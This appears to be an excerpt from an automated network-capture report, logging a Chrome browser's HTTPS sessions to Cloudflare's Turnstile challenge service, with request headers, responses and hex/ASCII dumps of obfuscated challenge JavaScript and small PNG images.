2024-08-28 11:52:37 UTC	1369	IN	Data Raw: 61 6e 64 69 6e 67 20 7b 0a 20 20 66 6c 65 78 2d 66 6c 6f 77 3a 20 72 6f 77 2d 72 65 76 65 72 73 65 20 77 72 61 70 3b 0a 20 20 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 66 6c 65 78 2d 73 74 61 72 74 3b 0a 20 20 61 6c 69 67 6e 2d 73 65 6c 66 3a 20 66 6c 65 78 2d 65 6e 64 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 31 32 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 65 72 6d 73 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 71 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 73 69 7a Data Ascii: anding { flex-flow: row-reverse wrap; place-content: center flex-start; align-self: flex-end; margin: 0 12px; padding-right: 0; text-align: right;}.size-compact #terms { text-align: right;}.size-compact #qr { text-align: center;}.siz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49713	104.18.94.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:37 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ba418a1eaa9423b&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:38 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:38 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 113695 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ba418a60afc42b2-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:38 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 5a 63 51 66 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.ZcQf2={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcep
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 73 75 63 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 Data Ascii: vacy":"Privacy","turnstile_feedback_report":"Having%20trouble%3F","turnstile_success":"Success%21","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Ere
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 38 31 33 37 31 33 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 36 32 36 29 5d 2c 65 4f 3d 66 75 6e 63 74 69 6f 6e 28 67 4a 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 67 4a 3d 67 49 2c 64 3d 7b 27 46 58 4c 43 65 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 3d 68 7d 2c 27 57 62 53 4c 79 27 3a 67 4a 28 31 30 32 35 29 2c 27 5a 51 49 49 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 47 6a 41 69 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 28 Data Ascii: )break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,813713),eM=this\|\|self,eN=eM[gI(626)],eO=function(gJ,d,e,f,g){return gJ=gI,d={'FXLCe':function(h,i){return i!==h},'WbSLy':gJ(1025),'ZQIIo':function(h,i){return h==i},'GjAiX':function(h){return h(
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 21 3d 69 7d 2c 27 4b 6b 55 6b 4c 27 3a 67 4a 28 33 32 37 29 2c 27 4a 44 6f 50 58 27 3a 67 4a 28 35 38 30 29 2c 27 70 4b 57 62 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 51 69 4c 69 65 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 44 52 67 53 57 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 68 46 51 62 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 6b 70 7a 75 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 78 54 6b 68 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 6f 62 67 52 66 27 3a 66 75 Data Ascii: !=i},'KkUkL':gJ(327),'JDoPX':gJ(580),'pKWbq':function(h,i){return h&i},'QiLie':function(h,i){return i*h},'DRgSW':function(h,i){return i!=h},'hFQbb':function(h,i){return h==i},'kpzuz':function(h,i){return h(i)},'xTkhg':function(h,i){return i!=h},'obgRf':fu
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 70 47 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 2c 51 2c 67 4f 29 7b 72 65 74 75 72 6e 20 67 4f 3d 62 2c 64 5b 67 4f 28 31 35 30 36 29 5d 28 4f 2c 50 2c 51 29 7d 2c 27 54 47 68 66 6a 27 3a 67 50 28 38 33 32 29 2c 27 57 53 49 49 71 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 29 7b 72 65 74 75 72 6e 20 4f 28 29 7d 2c 27 54 7a 5a 66 71 27 3a 67 50 28 31 31 36 35 29 7d 2c 67 50 28 31 36 32 35 29 21 3d 3d 64 5b 67 50 28 31 32 32 33 29 5d 29 7b 69 66 28 64 5b 67 50 28 36 37 37 29 5d 28 6e 75 6c 6c 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 42 3d 7b 7d 2c 43 3d 7b 7d 2c 44 3d 27 27 2c 45 3d 32 2c 46 3d 33 2c 47 3d 32 2c 48 3d 5b 5d 2c 49 3d 30 2c 4a 3d 30 2c 4b 3d 30 3b 64 5b 67 50 28 38 31 39 29 5d 28 4b 2c 69 5b 67 50 28 33 33 30 29 5d 29 3b 4b 2b 3d 31 29 69 Data Ascii: pG':function(O,P,Q,gO){return gO=b,d[gO(1506)](O,P,Q)},'TGhfj':gP(832),'WSIIq':function(O){return O()},'TzZfq':gP(1165)},gP(1625)!==d[gP(1223)]){if(d[gP(677)](null,i))return'';for(B={},C={},D='',E=2,F=3,G=2,H=[],I=0,J=0,K=0;d[gP(819)](K,i[gP(330)]);K+=1)i
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 44 3d 28 45 2d 2d 2c 64 5b 67 50 28 31 34 33 31 29 5d 28 30 2c 45 29 26 26 28 45 3d 4d 61 74 68 5b 67 50 28 31 34 33 39 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 42 5b 4d 5d 3d 46 2b 2b 2c 53 74 72 69 6e 67 28 4c 29 29 7d 69 66 28 44 21 3d 3d 27 27 29 7b 69 66 28 67 50 28 34 34 30 29 21 3d 3d 67 50 28 31 34 35 38 29 29 7b 69 66 28 4f 62 6a 65 63 74 5b 67 50 28 38 32 32 29 5d 5b 67 50 28 31 32 30 31 29 5d 5b 67 50 28 38 34 30 29 5d 28 43 2c 44 29 29 7b 69 66 28 64 5b 67 50 28 33 38 36 29 5d 28 67 50 28 32 38 38 29 2c 64 5b 67 50 28 36 35 32 29 5d 29 29 72 65 74 75 72 6e 20 74 68 69 73 5b 67 50 28 34 35 38 29 5d 3d 21 21 5b 5d 2c 74 68 69 73 5b 67 50 28 34 35 38 29 5d 3b 65 6c Data Ascii: ](o,I)),I=0):J++,N>>=1,x++);D=(E--,d[gP(1431)](0,E)&&(E=Math[gP(1439)](2,G),G++),B[M]=F++,String(L))}if(D!==''){if(gP(440)!==gP(1458)){if(Object[gP(822)][gP(1201)][gP(840)](C,D)){if(d[gP(386)](gP(288),d[gP(652)]))return this[gP(458)]=!![],this[gP(458)];el
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 31 36 31 34 29 5d 28 65 2c 66 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 68 5b 67 54 28 31 33 37 31 29 5d 28 6a 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 67 55 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4d 2c 50 2c 4c 29 7b 69 66 28 67 55 3d 67 4a 2c 64 5b 67 55 28 39 30 37 29 5d 3d 3d 3d 67 55 28 34 39 34 29 29 7b 66 6f 72 28 73 3d 5b 5d 2c 78 3d 34 2c 42 3d 34 2c 43 3d 33 2c 44 3d 5b 5d 2c 47 3d 64 5b 67 55 28 32 38 37 29 5d 28 6f 2c 30 29 2c 48 3d 6a 2c 49 3d 31 2c 45 3d 30 3b 33 3e 45 3b 73 5b 45 5d 3d 45 2c 45 2b 3d 31 29 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 55 28 31 34 33 39 29 5d 28 32 2c 32 29 2c 46 3d 31 3b 64 5b 67 55 28 39 31 30 29 5d 28 46 2c 4b 29 3b 29 69 66 28 64 5b Data Ascii: 1614)](e,f);else return h[gT(1371)](j)})},'i':function(i,j,o,gU,s,x,B,C,D,E,F,G,H,I,J,K,M,P,L){if(gU=gJ,d[gU(907)]===gU(494)){for(s=[],x=4,B=4,C=3,D=[],G=d[gU(287)](o,0),H=j,I=1,E=0;3>E;s[E]=E,E+=1);for(J=0,K=Math[gU(1439)](2,2),F=1;d[gU(910)](F,K);)if(d[
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 44 5b 67 55 28 33 37 30 29 5d 28 27 27 29 7d 69 66 28 30 3d 3d 78 26 26 28 78 3d 4d 61 74 68 5b 67 55 28 31 34 33 39 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 2c 73 5b 4d 5d 29 4d 3d 73 5b 4d 5d 3b 65 6c 73 65 20 69 66 28 64 5b 67 55 28 32 32 36 29 5d 28 4d 2c 42 29 29 4d 3d 64 5b 67 55 28 37 38 37 29 5d 28 45 2c 45 5b 67 55 28 31 35 34 30 29 5d 28 30 29 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 44 5b 67 55 28 36 32 35 29 5d 28 4d 29 2c 73 5b 42 2b 2b 5d 3d 64 5b 67 55 28 38 34 35 29 5d 28 45 2c 4d 5b 67 55 28 31 35 34 30 29 5d 28 30 29 29 2c 78 2d 2d 2c 45 3d 4d 2c 78 3d 3d 30 26 26 28 78 3d 4d 61 74 68 5b 67 55 28 31 34 33 39 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 7d 7d 65 6c 73 65 20 50 Data Ascii: break;case 2:return D[gU(370)]('')}if(0==x&&(x=Math[gU(1439)](2,C),C++),s[M])M=s[M];else if(d[gU(226)](M,B))M=d[gU(787)](E,E[gU(1540)](0));else return null;D[gU(625)](M),s[B++]=d[gU(845)](E,M[gU(1540)](0)),x--,E=M,x==0&&(x=Math[gU(1439)](2,C),C++)}}else P
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 48 2c 49 2c 4a 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 2c 4a 29 7d 2c 27 4f 4d 66 61 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3d 3d 3d 48 7d 2c 27 6c 4f 6b 54 49 27 3a 68 63 28 39 31 37 29 2c 27 64 4b 47 74 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 2c 27 6d 58 4a 54 43 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 7d 2c 68 3d 3d 3d 6e 75 6c 6c 7c 7c 68 3d 3d 3d 76 6f 69 64 20 30 29 72 65 74 75 72 6e 20 6a 3b 66 6f 72 28 78 3d 65 58 28 68 29 2c 67 5b 68 63 28 31 30 38 39 29 5d 5b 68 63 28 31 35 31 30 29 5d 26 26 28 78 3d 78 5b 68 63 28 31 30 30 33 29 5d 28 67 5b 68 63 28 31 30 38 39 29 5d 5b 68 63 28 31 35 31 30 29 5d 28 68 29 29 Data Ascii: H,I,J){return G(H,I,J)},'OMfaM':function(G,H){return G===H},'lOkTI':hc(917),'dKGto':function(G,H,I){return G(H,I)},'mXJTC':function(G,H){return G+H}},h===null\|\|h===void 0)return j;for(x=eX(h),g[hc(1089)][hc(1510)]&&(x=x[hc(1003)](g[hc(1089)][hc(1510)](h))
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 65 27 3a 69 5b 68 67 28 31 33 38 37 29 5d 2c 27 77 69 64 67 65 74 49 64 27 3a 69 5b 68 67 28 38 33 35 29 5d 5b 68 67 28 33 39 35 29 5d 2c 27 65 76 65 6e 74 27 3a 68 67 28 35 31 30 29 2c 27 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 27 3a 6a 2c 27 64 69 73 70 6c 61 79 52 54 4c 27 3a 6b 5b 68 67 28 38 33 35 29 5d 5b 68 67 28 31 35 36 39 29 5d 5b 68 67 28 31 35 31 33 29 5d 2c 27 74 72 61 6e 73 6c 61 74 69 6f 6e 44 61 74 61 27 3a 7b 27 74 75 72 6e 73 74 69 6c 65 5f 69 66 72 61 6d 65 5f 61 6c 74 27 3a 6e 28 68 67 28 31 30 33 31 29 29 7d 7d 2c 27 2a 27 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 69 5b 68 67 28 34 37 30 29 5d 28 27 6f 2e 27 2c 6e 29 7d 29 7d 2c 66 30 3d 5b 5d 2c 66 31 3d 30 3b 32 35 36 3e 66 31 3b 66 30 5b 66 31 5d 3d 53 74 72 69 6e 67 5b 67 49 Data Ascii: e':i[hg(1387)],'widgetId':i[hg(835)][hg(395)],'event':hg(510),'displayLanguage':j,'displayRTL':k[hg(835)][hg(1569)][hg(1513)],'translationData':{'turnstile_iframe_alt':n(hg(1031))}},'*');else return i[hg(470)]('o.',n)})},f0=[],f1=0;256>f1;f0[f1]=String[gI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49714	104.18.94.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:38 UTC	795	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:38 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:38 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ba418a6f9ac0cc6-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:38 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49717	104.18.95.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:38 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:38 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:38 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ba418aaed0943d0-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:38 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49718	104.18.95.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:38 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ba418a1eaa9423b&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:38 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:38 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 119031 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ba418ab5a880f7b-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:38 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 5a 63 51 66 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.ZcQf2={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2F
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d 62 65 64 64 65 64 25 32 30 69 6e 74 6f 25 32 30 61 25 32 30 70 61 72 65 6e 74 25 32 30 70 61 67 65 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 Data Ascii: ile_footer_terms":"Terms","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","turnstile_footer_privacy":"Priv
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 72 73 65 49 6e 74 28 67 48 28 31 34 30 36 29 29 2f 31 30 29 2b 70 61 72 73 65 49 6e 74 28 67 48 28 31 35 30 33 29 29 2f 31 31 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 32 30 39 30 35 36 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 34 35 34 29 5d 2c 65 4f 3d 5b 5d 2c 65 50 3d 30 3b 32 35 36 3e 65 50 3b 65 4f 5b 65 50 5d 3d 53 74 72 69 6e 67 5b 67 49 28 39 33 39 29 5d 28 65 50 29 2c 65 50 2b 2b 29 3b 67 47 3d 28 65 51 3d 28 30 2c 65 76 61 6c 29 28 67 49 28 34 38 33 29 29 2c 65 52 3d 61 74 6f 62 28 67 49 28 38 37 36 29 29 2c 65 4d 5b 67 49 28 31 37 37 35 29 5d 3d 66 75 6e Data Ascii: rseInt(gH(1406))/10)+parseInt(gH(1503))/11,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,209056),eM=this\|\|self,eN=eM[gI(454)],eO=[],eP=0;256>eP;eO[eP]=String[gI(939)](eP),eP++);gG=(eQ=(0,eval)(gI(483)),eR=atob(gI(876)),eM[gI(1775)]=fun
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 76 28 31 33 34 38 29 5d 5b 68 76 28 31 36 30 31 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 68 76 28 37 33 33 29 5d 3b 44 3d 78 5b 43 5d 2c 45 3d 66 6e 28 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 6f 5b 68 76 28 37 33 32 29 5d 28 27 73 27 2c 45 29 26 26 21 67 5b 68 76 28 31 37 36 36 29 5d 28 68 5b 44 5d 29 2c 6f 5b 68 76 28 37 33 32 29 5d 28 6f 5b 68 76 28 39 38 34 29 5d 2c 69 2b 44 29 3f 73 28 69 2b 44 2c 45 29 3a 46 7c 7c 6f 5b 68 76 28 38 30 30 29 5d 28 73 2c 6f 5b 68 76 28 38 33 39 29 5d 28 69 2c 44 29 2c 68 5b 44 5d 29 29 3a 6f 5b 68 76 28 31 34 37 34 29 5d 28 73 2c 69 2b 44 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e Data Ascii: }(x),B='nAsAaAb'.split('A'),B=B[hv(1348)][hv(1601)](B),C=0;C<x[hv(733)];D=x[C],E=fn(g,h,D),B(E)?(F=o[hv(732)]('s',E)&&!g[hv(1766)](h[D]),o[hv(732)](o[hv(984)],i+D)?s(i+D,E):F\|\|o[hv(800)](s,o[hv(839)](i,D),h[D])):o[hv(1474)](s,i+D,E),C++);return j;function
